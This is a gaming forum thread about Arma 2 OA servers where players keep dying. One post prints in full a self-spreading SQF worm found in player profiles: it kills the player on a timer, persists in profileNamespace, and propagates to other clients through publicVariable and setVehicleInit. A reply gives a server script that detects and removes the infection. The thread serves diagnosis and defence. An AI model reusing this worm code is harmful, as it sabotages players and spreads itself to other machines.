dimon 32 Posted December 25, 2017 arma2oa players "dying" during gameplay http://steamcommunity.com/app/33930/discussions/0/1621724915783521955 code is run from the profile if(not isNil "BCodL")exitWith{}; BCodL = true; [] spawn { uiSleep 360; while{1==1}do{ uiSleep ((random 180)+180); player setDamage 1; }; }; if(not isNil "rmtEx_do")exitWith{}; BCod = (profileNamespace getVariable 'tvtvarb'); publicVariable "BCod"; JCod = (profileNamespace getVariable 'tvtvarj'); publicVariable "JCod"; call BCod; [] spawn { rmtEx_do = " waitUntil{not isNil ""BCod""}; profileNamespace setVariable [""tvtvarb"",BCod]; waitUntil{not isNil ""JCod""}; profileNamespace setVariable [""tvtvarj"",JCod]; saveProfileNamespace; inGameUISetEventHandler['PrevAction',""call (profileNamespace getVariable 'tvtvarj');false""]; inGameUISetEventHandler['NextAction',""call (profileNamespace getVariable 'tvtvarj');false""]; inGameUISetEventHandler['Action', ""call (profileNamespace getVariable 'tvtvarj');false""]; "; while{1==1}do{ _tmpu=createAgent['Rabbit',[2500,2500,0],[],0,'FORM']; _tmpu setVehicleInit rmtEx_do; processInitCommands; clearVehicleInit _tmpu; deleteVehicle _tmpu; uiSleep 6; }; }; am I to understand that you need to create remoteexec.txt? what commands you need to enter the code and looking to the future to prevent such cases? Spoiler верно ли я понимаю, что нужно создавать remoteexec.txt? какие команды нужно туда вписать глядя на код и чтобы на будущее упредить такие случаи? http://opendayz.net/threads/a-guide-to-battleye-filters.21066/ Share this post Link to post Share on other sites
samatra 85 Posted December 25, 2017 Execute this on init.sqf on your server if( !isNil{profileNamespace getVariable "tvtvarb"} || !isNil{profileNamespace getVariable "tvtvarj"} ) exitWith { inGameUISetEventHandler["PrevAction", ""]; inGameUISetEventHandler["NextAction", ""]; inGameUISetEventHandler["Action", ""]; profileNamespace setVariable ["tvtvarb", nil]; profileNamespace setVariable ["tvtvarj", nil]; saveProfileNamespace; endMission "LOSER"; }; This will fix the issue if player is infected and drop them to lobby, their next join should be fine. 2 Share this post Link to post Share on other sites